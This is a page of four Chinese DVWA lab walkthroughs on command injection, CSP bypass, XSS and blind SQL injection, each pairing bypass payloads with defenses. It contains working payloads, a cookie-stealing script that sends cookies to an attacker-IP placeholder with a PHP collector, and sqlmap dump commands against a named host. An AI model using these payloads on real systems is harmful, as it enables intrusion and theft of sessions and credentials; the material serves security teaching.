找到
23
篇与
综合渗透
相关的结果
-
DVWA靶场Command Injection详解:从漏洞利用到安全防御 DVWA靶场Command Injection详解:从漏洞利用到安全防御 1 命令注入漏洞概述 命令注入(Command Injection)是Web安全领域中极其危险的高危漏洞。它发生在应用程序将用户可控制的数据未经过充分净化便直接拼接传递给系统命令解释器(如Shell、CMD)执行时。攻击者借此能注入恶意命令,直接操控服务器操作系统,其后果往往是灾难性的——从敏感数据窃取、服务器完全沦陷,到作为跳板攻击内网其他系统。 1.1 命令注入的原理 命令注入的核心风险在于:程序将用户可控输入直接拼接为系统命令并执行,且未做严格过滤。当Web应用程序使用外部程序或系统命令处理数据,并将用户输入作为参数的一部分传递给这些命令时,如果输入没有得到适当的验证和清理,攻击者就可以通过注入特殊字符(如|、&、;等)来执行任意系统命令。 1.2 命令注入的危害 成功利用命令注入漏洞可能导致: 服务器被完全控制:攻击者可以执行任意系统命令,获取系统敏感信息,甚至完全接管服务器。 数据泄露:读取系统上的敏感文件,如配置文件、用户数据库等。 内网渗透:以受攻击服务器为跳板,进一步攻击内网其他系统。 服务中断:执行删除文件、停止服务等破坏性操作。 法律风险:可能导致数据泄露事件,违反数据保护法规。 2 DVWA环境搭建 DVWA(Damn Vulnerable Web Application)是一个专门用于安全练习的PHP/MySQL Web应用程序。要搭建DVWA环境,您需要: 从官网下载DVWA安装包 解压到Web服务器目录(如Apache的htdocs目录) 配置数据库连接(config/config.inc.php) 在浏览器中访问DVWA,创建数据库 登录(默认用户名/密码:admin/password) DVWA提供了四个安全级别,从完全无防护到近乎完美防护: Low:无任何防护措施 Medium:基础防护(如转义特殊字符) High:较强防护(如限制输入类型) Impossible:近乎完美的防护 3 Low级别漏洞利用 3.1 漏洞分析 Low级别的源码完全没有进行任何过滤,直接拼接用户输入到系统命令中: if (stristr(php_uname('s'), 'Windows NT')) { $cmd = shell_exec('ping ' . $target); } else { $cmd = shell_exec('ping -c 4 ' . $target); }3.2 利用方法 由于没有任何过滤措施,攻击者可以直接使用命令连接符注入额外命令: Windows和Linux系统都可以用&&来执行多条命令: 192.168.1.1 && whoami 其他有效Payload: 127.0.0.1 | whoami # 只执行第二个命令 127.0.0.1 & whoami # 先执行第二个命令后执行第一个命令 127.0.0.1000 || whoami # 第一个命令失败时执行第二个命令 127.0.0.1 && whoami # 第一个命令成功则执行第二个命令11.png图片 3.3 漏洞复现 在输入框中输入127.0.0.1 && ipconfig 提交后,系统会先ping 127.0.0.1,然后执行ipconfig命令 页面会显示ping的结果和ipconfig命令的输出 4 Medium级别漏洞利用 4.1 漏洞分析 Medium级别尝试使用黑名单机制过滤部分特殊字符: $substitutions = array( '&&' => '', ';' => '', ); $target = str_replace(array_keys($substitutions), $substitutions, $target);4.2 绕过技巧 虽然过滤了&&和;,但攻击者可以使用其他连接符绕过: 使用&代替&&: 127.0.0.1 & ipconfig 使用|或||: 127.0.0.1 | ipconfig 127.0.0.1000 || ipconfig 利用黑名单只过滤一次的特性(双写绕过): 127.0.0.1 &;& ipconfig经过过滤后,&;&中的;被移除,剩下的&&可以执行。 4.3 漏洞复现 在输入框中输入127.0.0.1 & ipconfig 提交后,系统会执行ping和ipconfig两个命令 页面会显示两个命令的执行结果 5 High级别漏洞利用 5.1 漏洞分析 High级别采用了更严格的黑名单: $substitutions = array( '&' => '', ';' => '', '| ' => '', // 注意:这里过滤的是"| "(管道符加空格) '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', );5.2 绕过技巧 仔细观察可以发现,黑名单中的| (管道符后加空格)有一个空格,但并没有过滤单独的|符号。因此可以使用: 127.0.0.1|ipconfig注意:连接符左右是否有空格有时会有意想不到的效果。 5.3 漏洞复现 在输入框中输入127.0.0.1|ipconfig 提交后,系统会执行ipconfig命令(ping命令的输出作为ipconfig的输入) 页面会显示ipconfig命令的执行结果 6 Impossible级别防护分析 Impossible级别提供了近乎完美的防护: // 验证Anti-CSRF令牌,防止跨站请求伪造攻击 checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php'); // 将IP地址分割为四个八位组 $octet = explode(".", $target); // 检查每个八位组是否为数字且只有四个数组 if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4)) { // 如果所有4个八位组都是数字,则将IP重新组合 $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; // 执行ping命令 if (stristr(php_uname('s'), 'Windows NT')) { $cmd = shell_exec('ping ' . $target); } else { $cmd = shell_exec('ping -c 4 ' . $target); } }6.1 防护要点 使用白名单验证:只接受符合IP地址格式(num.num.num.num)的输入 Anti-CSRF令牌:防止跨站请求伪造攻击 参数化执行:不直接拼接用户输入,而是先验证再重组 类型检查:使用is_numeric()确保每个八位组都是数字 7 命令注入的防御方案 根据DVWA四个级别的防护措施,我们可以总结出以下有效的命令注入防御方案: 7.1 输入验证与过滤 白名单验证:只允许符合预期格式的数据(如IP地址应为num.num.num.num) 强类型验证:预期为数字则只允许数字字符 过滤特殊字符:对可能用于命令注入的特殊字符进行过滤或转义 7.2 安全编程实践 避免直接执行系统命令:使用自定义函数或函数库来替代外部命令的功能 使用安全API:如使用PHP的escapeshellarg()函数处理命令参数 参数化调用:使用参数数组而不是字符串拼接 7.3 系统加固 最小权限原则:运行应用程序的操作系统进程必须配置最小权限原则,绝不使用root或Administrator等高权限账户 禁用危险函数:在php.ini中禁用system()、exec()、shell_exec()等危险函数 使用安全模式:配置PHP的安全模式和安全目录 7.4 其他防护措施 WAF防护:使用Web应用防火墙检测和阻止命令注入尝试 定期安全审计:定期进行代码审查和安全测试 安全编码培训:提高开发人员的安全意识和技术能力 8 自动化检测工具 命令注入漏洞可以通过多种工具进行自动化检测: SQLmap:虽然主要用于SQL注入,但也包含一些命令注入检测功能 Burp Suite:使用Intruder模块进行模糊测试和命令注入检测 OWASP ZAP:主动和被动扫描命令注入漏洞 自定义脚本:编写自定义脚本测试各种命令注入payload 9 总结 通过DVWA的Command Injection模块,我们可以深入理解命令注入漏洞的原理、利用技巧和防御方法: 命令注入是非常危险的漏洞,可以直接导致服务器被完全控制 黑名单过滤很容易被绕过,应采用白名单验证 不要直接拼接用户输入到系统命令中,应使用参数化调用或安全API 多层防御是最有效的:结合输入验证、安全编程和系统加固 最重要的是:在实际开发中,应该尽量避免执行系统命令,如果必须执行,应使用安全的API(如PHP的escapeshellarg()和escapeshellcmd()函数)并对输入进行严格验证。 免责声明:本文仅用于教育目的和安全研究,请勿用于非法用途。对于任何滥用本文所述技术的行为,作者不承担任何责任。10 参考资料 DVWA官方文档 OWASP命令注入防护指南 PHP安全编程指南 命令注入漏洞检测与防御最佳实践 希望本文能帮助你理解命令注入的原理、利用技巧和防御方法,在今后的开发和测试工作中更好地应用这些知识。记住,安全是一个持续的过程,需要始终保持警惕和学习的态度。
-
DVWA靶场CSP绕过详解:从原理到实战 DVWA靶场CSP绕过详解:从原理到实战 1 CSP安全策略概述 内容安全策略(Content Security Policy,简称CSP)是一种重要的Web安全机制,用于检测和缓解跨站脚本(XSS)和数据注入等攻击。CSP的实质是白名单制度,开发者通过配置告诉浏览器哪些外部资源可以加载和执行,从而减少攻击面。 1.1 CSP的工作原理 CSP通过HTTP响应头或HTML meta标签指定策略规则。当浏览器接收到这些策略后,会只执行或渲染符合策略的资源,违反策略的行为会被阻止并报告。 CSP指令示例: Content-Security-Policy: script-src 'self' https://trusted.com; object-src 'none'; style-src cdn.example.org third-party.org这个策略表示: script-src 'self' https://trusted.com:只允许从同源和https://trusted.com加载脚本 object-src 'none':禁止加载所有插件(如Flash) style-src cdn.example.org third-party.org:只允许从指定域名加载样式表 1.2 启用CSP的两种方法 通过HTTP响应头(最常用): <?php $headerCSP = "Content-Security-Policy: script-src 'self';"; header($headerCSP); ?> 通过HTML meta标签: <meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org;"> 2 DVWA环境搭建 DVWA(Damn Vulnerable Web Application)是一个专门用于Web安全练习的PHP/MySQL应用程序。要搭建DVWA环境,您需要: 从官网下载DVWA安装包 解压到Web服务器目录(如Apache的htdocs目录) 配置数据库连接(config/config.inc.php) 在浏览器中访问DVWA,创建数据库 登录(默认用户名/密码:admin/password) DVWA提供了四个安全级别,从完全无防护到近乎完美防护: Low:无任何防护措施 Medium:基础防护(如转义特殊字符) High:较强防护(如限制输入类型) Impossible:近乎完美的防护 3 Low级别绕过详解 3.1 漏洞分析 Low级别的CSP策略允许从多个外部域名加载脚本: <?php $headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;"; header($headerCSP); ?>这些被信任的网站中,pastebin.com是一个可以自由创建和分享文本内容的网站,用户可以上传任意JavaScript代码并获取原始链接。 3.2 绕过步骤 访问pastebin.com(或其他白名单中的站点) 创建恶意JavaScript代码: alert("CSP Bypass - Low Level");10.png图片 保存并获取原始链接:点击"Create New Paste"然后获取"raw"链接,如:https://pastebin.com/raw/R570EE00 在DVWA中输入链接:提交后恶意脚本被执行 3.3 安全威胁 攻击者可以将恶意代码存储在受信任的网站上,然后通过钓鱼邮件或社交工程诱导用户访问包含此链接的页面,实现XSS攻击。 4 Medium级别绕过详解 4.1 漏洞分析 Medium级别的CSP策略发生了变化: <?php $headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';"; header($headerCSP); header("X-XSS-Protection: 0"); // 禁用XSS保护 ?>这个策略包含两个关键元素: 'unsafe-inline':允许执行页面内嵌的<script>标签和事件处理程序 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=':仅允许特定的内联脚本块执行 4.2 绕过步骤 直接使用源码中提供的payload即可绕过: <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert("CSP Bypass - Medium Level");</script>4.3 安全威胁 nonce值的不当使用使得攻击者可以轻松绕过保护。nonce值应该是每次请求随机生成的,而不是固定的。固定nonce值相当于给攻击者提供了一把万能钥匙。 5 High级别绕过详解 5.1 漏洞分析 High级别的CSP策略更加严格,只允许同源脚本: <?php $headerCSP = "Content-Scurity-Policy: script-src 'self';"; header($headerCSP); ?>页面通过JSONP(JSON with Padding)技术从外部获取数据: function clickButton() { var s = document.createElement("script"); s.src = "source/jsonp.php?callback=solveSum"; document.body.appendChild(s); } function solveSum(obj) { if ("answer" in obj) { document.getElementById("answer").innerHTML = obj['answer']; } }5.2 JSONP漏洞利用 JSONP接口source/jsonp.php存在漏洞,未对callback参数进行过滤: <?php header("Content-Type: application/json; charset=UTF-8"); if (array_key_exists("callback", $_GET)) { $callback = $_GET['callback']; } else { return ""; } $outp = array("answer" => "15"); echo $callback . "(".json_encode($outp).")"; ?>5.3 绕过步骤 直接修改callback参数: http://<DVWA-IP>/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie);// 返回的响应变为: alert(document.cookie);//({"answer":"15"}) 利用XSS漏洞注入恶意请求: d=document; h=d.getElementsByTagName('head').item(0); s=d.createElement('script'); s.setAttribute('src','/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie);//'); h.appendChild(s); 5.4 安全威胁 JSONP接口的不安全实现允许攻击者执行任意代码,这是一种常见且危险的安全漏洞,特别是在CSP策略较严格的情况下。 6 Impossible级别防护分析 Impossible级别提供了近乎完美的防护: <?php $headerCSP = "Content-Security-Policy: script-src 'self';"; header($headerCSP); ?> <?php // 页面代码... ?> <script src="source/impossible.js"></script>JSONP接口也被修复,不再使用用户控制的callback参数: <?php header("Content-Type: application/json; charset=UTF-8"); $outp = array("answer" => "15"); echo "solveSum (".json_encode($outp).")"; ?>6.1 防护要点 严格的CSP策略:只允许同源脚本,不包含任何不安全指令 避免使用用户可控的callback参数:服务器端固定函数名 输入验证和输出编码:对所有用户输入进行严格过滤 总结 通过DVWA的CSP绕过实验,我们可以得出以下结论: CSP是一个强大的安全机制,但配置不当会导致被绕过 任何可信域的加入都需要谨慎,特别是允许用户内容的外部域 nonce值必须随机且不可预测,固定nonce值几乎等同于没有保护 JSONP接口需要严格过滤,避免成为绕过CSP的入口点 多层防御是最有效的:CSP应该与其他安全措施(如输入验证、输出编码)结合使用 最重要的是:CSP不是万能的,它只是Web应用安全的一部分。开发者应该采用纵深防御策略,结合多种安全措施,才能构建真正安全的Web应用程序。 免责声明:本文仅用于教育目的和安全研究,请勿用于非法用途。对于任何滥用本文所述技术的行为,作者不承担任何责任。
-
DVWA靶场XSS漏洞全解析:从DOM型、反射型到存储型 DVWA靶场XSS漏洞全解析:从DOM型、反射型到存储型 1 XSS漏洞概述 XSS(Cross-Site Scripting)跨站脚本攻击是Web安全领域最常见的安全漏洞之一。它指的是攻击者向网页中注入恶意脚本(通常为JavaScript),当用户访问包含恶意脚本的页面时,这些脚本会被浏览器自动执行。XSS漏洞的本质是用户输入未被正确过滤或转义,最终被浏览器当作有效代码执行。 1.1 XSS漏洞类型 根据恶意脚本的存储和执行方式,XSS漏洞主要分为三种类型: 反射型XSS(Reflected XSS):恶意脚本通过URL参数传递,服务器在响应中原样返回,需要用户点击恶意链接才能触发。 存储型XSS(Stored XSS):恶意脚本被存储在服务器端(如数据库),当其他用户访问包含该脚本的页面时触发,危害更大。 DOM型XSS(DOM-based XSS):完全在浏览器端发生,不经过服务器处理,通过修改页面的DOM结构来执行恶意脚本。 1.2 XSS漏洞的危害 XSS漏洞可能造成以下严重后果: 窃取用户敏感信息(如Cookie、会话令牌、个人数据) 劫持用户会话,冒充用户执行操作 篡改网页内容,实施钓鱼攻击 传播恶意软件,控制用户浏览器 结合CSRF攻击,执行未授权操作 2 DVWA环境搭建 DVWA(Damn Vulnerable Web Application)是一个专门用于Web安全练习的PHP/MySQL应用程序。要搭建DVWA环境,您需要: 从官网下载DVWA安装包 解压到Web服务器目录(如Apache的htdocs目录) 配置数据库连接(config/config.inc.php) 在浏览器中访问DVWA,创建数据库 使用默认凭据登录(admin/password) DVWA提供了四个安全级别,从完全无防护到近乎完美防护: Low:无任何防护措施 Medium:基础防护(如转义特殊字符) High:较强防护(如限制输入类型) Impossible:近乎完美的防护 3 DOM型XSS漏洞详解 DOM型XSS(DOM Based Cross Site Scripting)是一种基于文档对象模型(Document Object Model)的漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式。 3.1 Low级别 漏洞分析:Low级别的源码完全没有进行任何过滤,用户输入直接被插入到DOM中。 <?php // No protections, anything goes ?>利用过程: 在页面中选择English,点击提交 修改URL中的default参数:http://<DVWA-IP>/vulnerabilities/xss_d/?default=<script>alert('XSS')</script> 7.png图片 页面成功执行脚本,弹出警告框 3.2 Medium级别 漏洞分析:Medium级别尝试过滤<script>标签,但可以通过其他方式绕过。 <?php // 过滤<script标签 if (stripos($default, "<script") !== false) { header("location: ?default=English"); exit; } ?>利用过程: 使用闭合标签和HTML标签的事件处理程序绕过过滤: http://<DVWA-IP>/vulnerabilities/xss_d/?default=</option></select><img src=x onerror=alert("XSS")>或使用SVG标签: http://<DVWA-IP>/vulnerabilities/xss_d/?default=</option></select><svg onload=alert("xss")>3.3 High级别 漏洞分析:High级别使用白名单机制,只允许特定值(French、English、German、Spanish)。 <?php // 白名单机制 switch ($_GET['default']) { case "French": case "English": case "German": case "Spanish": break; default: header("location: ?default=English"); exit; } ?>利用过程:使用URL片段标识(#)绕过服务器端验证,因为#后的内容不会发送到服务器: http://<DVWA-IP>/vulnerabilities/xss_d/?default=English#<script>alert(document.cookie)</script>3.4 Impossible级别 漏洞分析:Impossible级别在客户端对输入进行URL编码,防止恶意脚本执行。 <?php // Don't need to do anything, protection handled on the client side ?>4 反射型XSS漏洞详解 反射型XSS(Reflected Cross Site Scripting)是指恶意脚本作为参数包含在请求URL中,服务器接收后直接在响应中返回,从而在浏览器中执行。 4.1 Low级别 漏洞分析:Low级别没有任何过滤,直接输出用户输入。 <?php if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?>利用过程: 直接输入恶意脚本: <script>alert('XSS')</script>8.png图片 或窃取Cookie: <script>alert(document.cookie)</script>4.2 Medium级别 漏洞分析:Medium级别尝试使用str_replace()函数过滤<script>标签。 <?php $name = str_replace( '<script>', '', $_GET[ 'name' ] ); echo "<pre>Hello ${name}</pre>"; ?>绕过方式: 双写绕过: <sc<script>ript>alert('XSS')</script> 大小写混淆: <ScRipt>alert('XSS')</script> 使用其他标签: <img src=x onerror=alert('XSS')> 4.3 High级别 漏洞分析:High级别使用正则表达式过滤<script>标签,不区分大小写。 <?php $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); echo "<pre>Hello ${name}</pre>"; ?>绕过方式:使用非script标签: <img src=x onerror=alert('XSS')>4.4 Impossible级别 漏洞分析:Impossible级别使用htmlspecialchars()函数将特殊字符转换为HTML实体,彻底防止XSS。 <?php $name = htmlspecialchars( $_GET[ 'name' ] ); echo "<pre>Hello ${name}</pre>"; ?>5 存储型XSS漏洞详解 存储型XSS(Stored Cross Site Scripting)是最危险的XSS类型,因为恶意脚本被存储在服务器端,每次用户访问包含该脚本的页面时都会触发。 5.1 存储型XSS的工作原理 攻击者提交恶意脚本:通过输入接口(如表单、评论区)将恶意脚本发送到服务器。 恶意脚本被存储:服务器将包含恶意代码的输入存储在数据库或其他存储介质中。 受害者访问存储数据:当受害者访问包含恶意脚本的页面时,恶意脚本被从数据库中提取并显示。 恶意脚本执行:恶意脚本在受害者浏览器中执行,实施攻击。 5.2 Low级别 漏洞分析:Low级别没有任何过滤,直接存储和显示用户输入。 利用过程: 在留言板中输入恶意脚本: <script>alert('XSS')</script>9.png图片 提交后,每次任何用户访问该页面都会触发弹窗 窃取Cookie的实战利用: 创建接收Cookie的PHP脚本(123.php): <?php $cookie = $_GET['cookie']; $ip = getenv('REMOTE_ADDR'); $time = date('Y-m-d g:i:s'); $fp = fopen('cookie.txt', 'a'); fwrite($fp, "IP: $ip\nTime: $time\nCookie: $cookie\n"); fclose($fp); ?> 在留言板中输入以下脚本: <script> document.write('<img src="http://<攻击者IP>/123.php?cookie=' + document.cookie + '" width=0 height=0 border=0 />'); </script> 当用户访问包含该脚本的页面时,他们的Cookie会被自动发送到攻击者的服务器 5.3 Medium级别 漏洞分析:Medium级别尝试过滤<script>标签,但可以通过双写或大小写混淆绕过。 绕过方式: 双写绕过: <sc<script>ript>alert('XSS')</script> 大小写混淆: <ScRiPt>alert('XSS')</ScRiPt> 使用其他标签: <img src=x onerror=alert('XSS')> 5.4 High级别 漏洞分析:High级别使用正则表达式过滤script标签,需要使用非script标签进行绕过。 利用方式: <img src=x onerror=alert('XSS')>5.5 Impossible级别 漏洞分析:Impossible级别使用htmlspecialchars()函数对输出进行转义,彻底防止XSS漏洞。 6 XSS漏洞防御方案 根据DVWA四个级别的防护措施,我们可以总结出以下有效的XSS防御方案: 6.1 输入验证和过滤 白名单验证:只允许符合预期格式的数据 过滤和清理:去除可能的恶意代码 类型强制转换:确保输入参数符合预期类型 6.2 输出编码 HTML实体编码:使用htmlspecialchars()函数将特殊字符转换为HTML实体 JavaScript编码:当输出到JavaScript代码时,使用适当的编码 URL编码:当输出到URL参数时,使用urlencode()或rawurlencode() 6.3 内容安全策略(CSP) 通过CSP头部限制页面可以加载和执行的资源来源,即使存在XSS漏洞,也能减少其危害。 Content-Security-Policy: default-src 'self'; script-src 'self'6.4 HttpOnly Cookie 设置Cookie的HttpOnly属性,防止JavaScript访问敏感Cookie。 setcookie("sessionid", "12345", time()+3600, "/", "example.com", true, true);6.5 其他防护措施 限制输入长度:减少恶意脚本的注入风险 使用安全API:避免使用innerHTML、document.write()等危险API 定期安全审计:定期进行代码审查和安全测试 7 总结 通过DVWA平台的三个XSS漏洞模块(DOM型、反射型、存储型)的实验,我们可以得出以下结论: XSS漏洞非常常见且危险,尤其是存储型XSS,可能影响大量用户 简单的黑名单过滤很容易被绕过,需要采用多层次防御策略 根本的解决方案是输出编码,确保用户输入不被浏览器解释为代码 CSP和HttpOnly Cookie提供了额外的防护层,减少漏洞被利用后的影响 安全是一个过程,需要持续的关注和测试 最重要的是:在实际开发中,应该始终对用户输入进行严格验证,并对输出进行适当编码,这是防止XSS攻击最有效的方式。 希望本文能帮助您理解XSS漏洞的原理、利用方式和防御方法,在今后的开发和测试工作中更好地应用这些知识。记住,安全不是一次性的工作,而是一个持续的过程。
-
DVWA SQL盲注通关指南:从手工注入到自动化工具 DVWA SQL盲注通关指南:从手工注入到自动化工具 深入掌握布尔盲注与时间盲注的技巧与防御SQL盲注(Blind SQL Injection)是SQL注入的一种特殊形式,当应用程序易受SQL注入攻击但其HTTP响应不包含相关SQL查询结果或错误详情时发生。与常规SQL注入不同,盲注时攻击者无法直接看到注入语句的执行结果,甚至无法确认语句是否执行,只能通过"盲猜"方式获取信息。 本文将基于DVWA(Damn Vulnerable Web Application)平台,详细解析SQL盲注的原理、技巧和防御方法,涵盖从Low到Impossible四个安全级别。 1 SQL盲注概述 1.1 什么是SQL盲注 SQL盲注是一种SQL注入技术,适用于目标页面无法直接返回注入结果的场景。在这种情况下,攻击者通过构造SQL语句,结合页面的真/假返回值,逐步推断出数据库中的敏感信息。 1.2 盲注与一般注入的区别 特性一般SQL注入SQL盲注结果可见性直接显示查询结果无直接结果反馈难度等级相对简单相对复杂时间消耗较短较长技术需求基础SQL知识高级SQL技巧和耐心1.3 盲注的三种类型 基于布尔的盲注:通过页面返回的"真"(存在)或"假"(不存在)状态来推断信息 基于时间的盲注:通过数据库响应时间的差异来判断条件真假 基于错误的盲注:通过触发条件性错误来获取信息 2 DVWA环境搭建 2.1 DVWA简介 DVWA(Damn Vulnerable Web Application)是一个专门用于安全练习的PHP/MySQL Web应用程序。它提供了四种安全级别,从完全无防护到几乎不可破解: Low:无任何防护措施 Medium:基础防护(如转义特殊字符) High:较强防护(如限制输入类型) Impossible:近乎完美的防护 2.2 环境配置 从官网下载DVWA安装包 解压到Web服务器目录(如Apache的htdocs目录) 配置数据库连接(config/config.inc.php) 在浏览器中访问DVWA,创建数据库 登录(默认用户名/密码:admin/password) 2.3 设置安全级别 在DVWA首页可以设置四个安全级别,本文主要关注SQL Injection (Blind)模块。 3 Low级别盲注详解 3.1 漏洞分析 Low级别的源码完全没有进行任何过滤,直接拼接用户输入到SQL查询中: $id = $_GET['id']; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";页面仅返回"User ID exists"(存在)或"User ID is MISSING"(不存在)两种状态,不显示具体查询结果。 3.2 手工注入步骤 3.2.1 判断注入类型 首先判断是否存在注入点以及注入类型: 1' AND 1=1# → 返回"exists"(真) 1' AND 1=2# → 返回"MISSING"(假)结论:存在字符型注入(需单引号闭合)。 3.2.2 猜解数据库名长度 使用LENGTH()函数猜解当前数据库名的长度: 1' AND length(DATABASE())=1# → MISSING 1' AND LENGTH(DATABASE())=2# → MISSING 1' AND LENGTH(DATABASE())=3# → MISSING 1' AND LENGTH(DATABASE())=4# → exists结论:数据库名长度为4个字符(DVWA)。 3.2.3 逐字符猜解数据库名 使用SUBSTRING()和ASCII()函数逐字符猜解数据库名: -- 猜第一个字符(ASCII码二分法) 1' AND ASCII(SUBSTRING(DATABASE(),1,1))>97# → exists(大于'a') 1' AND ASCII(SUBSTRING(DATABASE(),1,1))<100# → MISSING 1' AND ASCII(SUBSTRING(DATABASE(),1,1))=100# → exists → 字符'd' -- 猜第二个字符 1' AND ASCII(SUBSTRING(DATABASE(),2,1))>97# → exists(大于'a') 1' AND ASCII(SUBSTRING(DATABASE(),2,1))<100# → MISSING 1' AND ASCII(SUBSTRING(DATABASE(),2,1))=118# → exists → 字符'v'重复上述步骤,依次猜解第3~4位字符('w'、'a'),得到数据库名dvwa。 3.2.4 猜解表名 首先猜解数据库中表的数量: 1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='dvwa')=2# → exists结论:共有2张表。 猜解第一张表的长度: 1' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1))=9# → exists结论:第一张表名长度为9个字符。 逐字符猜解第一张表名: 1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),1,1))=103# → exists → 'g'重复上述步骤,最终得到表名:guestbook(9字符)和users(5字符)。 3.2.5 猜解列名与数据 判断users表中是否存在user列: 1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users' AND column_name='user')=1# → exists同样方法验证password列存在。 猜解admin用户的密码首字符: 1' AND ASCII(SUBSTRING((SELECT password FROM users WHERE user='admin'),1,1))=53# → exists → '5'最终可提取admin的MD5密码哈希:5f4dcc3b5aa765d61d8327deb882cf99(明文为password)。 3.3 自动化工具注入 使用SQLmap工具可以自动化完成上述过程: sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \ --cookie="security=low; PHPSESSID=<your-session-id>" \ --technique=B --batch --dbs参数说明: --technique=B:布尔盲注模式 --dbs:获取所有数据库名 4 Medium级别盲注详解 4.1 漏洞分析 Medium级别使用了mysql_real_escape_string()函数对输入进行转义: $id = $_POST['id']; $id = mysql_real_escape_string($id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";注意这里不再使用引号包围$id,说明是数字型注入,因此转义函数无法防止注入。 4.2 注入技巧 4.2.1 判断注入类型 由于前端改为下拉菜单,需要使用Burp Suite等工具抓包修改参数。 抓包后修改id参数为: 1 AND 1=1 → 存在 1 AND 1=2 → 不存在说明存在数字型注入,无需单引号闭合。 4.2.2 获取数据库信息 猜解数据库版本信息: 1 AND MID(@@version,1,1)=5 → 判断MySQL版本是否为5.x猜解数据库长度: 1 AND LENGTH(DATABASE())=4 → 判断长度为44.2.3 使用Burp Intruder自动化测试 拦截请求发送到Intruder 设置攻击类型为"Cluster bomb" 设置payload位置: 位置1:数据库名,字符位置(1-4) 位置2:ASCII值(1-128) Payload: 1 AND ASCII(SUBSTRING(DATABASE(),§1§,1))=§2§通过Burp Intruder可以自动化猜解过程,大大提高了效率。 5 High级别盲注详解 5.1 漏洞分析 High级别使用单引号包裹输入并转义,但存在Cookie注入点: $id = $_COOKIE['id']; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";5.2 注入技巧 5.2.1 Cookie注入技术 修改Cookie值进行注入: document.cookie="id=1' AND '1'='1'-- ;";5.2.2 基于时间的盲注 使用时间延迟函数判断条件真假: 1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))abc)# //延时5s5.2.3 使用SQLmap自动化测试 保存Cookie和请求到文件,然后运行: sqlmap -r request.txt --level=5 --risk=3 --technique=B --dbms=mysql --batch6 Impossible级别防御分析 Impossible级别采用了完善的防护措施: $data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;'); $data->bindParam(':id', $id, PDO::PARAM_INT); $data->execute();6.1 防护要点 使用PDO预处理语句:将代码与数据完全分离,用户输入不再被解释为SQL代码的一部分 参数绑定:使用bindParam方法绑定参数,指定参数类型 强制类型为INT:确保输入只能是整数类型 LIMIT 1限制:限制只返回一个结果,防止信息泄露 6.2 测试验证 尝试任何盲注技术都无法成功,输入被严格限制为数字。 7 SQL盲注防御方案 7.1 根本解决方案 使用参数化查询(预处理语句) 这是最有效、最根本的防御方式,能彻底分离代码和数据。 实施严格的输入验证 对用户输入进行严格的白名单验证,只允许符合特定格式的输入。 7.2 临时加固措施 过滤输入:使用mysqli_real_escape_string()等函数转义特殊字符 统一错误消息:避免泄露状态差异,使攻击者无法区分真假条件 类型强制转换:确保输入参数符合预期类型 7.3 架构设计 最小权限原则:Web应用程序连接数据库时应使用最低权限账户 WAF防护:使用Web应用防火墙提供额外保护层 定期安全扫描:定期进行安全审计和漏洞扫描 8 自动化工具使用指南 8.1 SQLmap高级用法 基本命令: 获取数据库用户名 sqlmap -u "https://dvwa.guixinan.com/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low;PHPSESSID=oftq5l7euk0bpl0jejubt03euq" --current-db --batch4.png图片 接着获取数据库表名 sqlmap -u "https://dvwa.guixinan.com/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low;PHPSESSID=oftq5l7euk0bpl0jejubt03euq" -D dvwa --tables --batch5.png图片 再接着获取用户的信息 sqlmap -u "https://dvwa.guixinan.com/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low;PHPSESSID=oftq5l7euk0bpl0jejubt03euq" -D dvwa -T users --dump --batch6.png图片 8.2 Burp Suite专业技巧 使用Turbo Intruder:处理大量请求 配置Grep Match规则:自动标记响应差异 利用Logger++扩展:记录和分析所有请求 9 总结与反思 通过DVWA的全级别SQL盲注复现,我们可以看到盲注虽然比普通SQL注入更困难,但在安全措施不足的情况下仍然危险。 9.1 盲注攻击链 盲注的典型攻击链包括:判断注入类型 → 猜库名 → 猜表名 → 猜列名 → 猜数据。 9.2 核心技巧 二分法:通过不断缩小范围快速确定字符值 状态差异判断:通过页面响应差异判断条件真假 工具辅助:手工注入理解原理,自动化工具提高效率 9.3 道德与法律考量 重要声明:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果。 安全研究的正确姿势: ✅ 先授权,再测试 ✅ 只针对自己拥有或有权测试的系统 ✅ 发现漏洞后,及时报告并协助修复 ✅ 尊重隐私,不越界 10 参考资料 